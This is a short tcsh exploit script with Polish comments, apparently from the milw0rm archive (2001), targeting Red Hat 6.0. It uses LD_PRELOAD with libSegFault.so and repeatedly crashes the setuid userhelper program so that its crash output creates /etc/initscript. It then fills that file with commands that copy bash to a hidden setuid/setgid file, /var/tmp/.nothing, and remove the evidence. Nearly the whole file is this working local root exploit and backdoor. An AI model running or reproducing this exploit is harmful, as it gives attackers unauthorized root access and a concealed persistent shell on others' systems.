25 lines
No EOL
634 B
Tcsh
Executable file
25 lines
No EOL
634 B
Tcsh
Executable file
#!/bin/tcsh
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# przyklad wykorzystania dziury w LD_PRELOAD
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# shadow (tested on redhat 6.0, should work on others)
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if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje
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cd /lib
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umask 0
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setenv LD_PRELOAD libSegFault.so
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setenv SEGFAULT_OUTPUT_NAME /etc/initscript
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echo czekaj... to moze chwile potrwac...
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while (! -e /etc/initscript )
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( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null
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end
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echo utworzylem plik initscript
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cat > /etc/initscript << _init_
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cp /bin/bash /var/tmp/.nothing
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chmod 6755 /var/tmp/.nothing
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rm /etc/initscript
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_init_
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echo i nawet go podmienilem
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# milw0rm.com [2001-03-04] |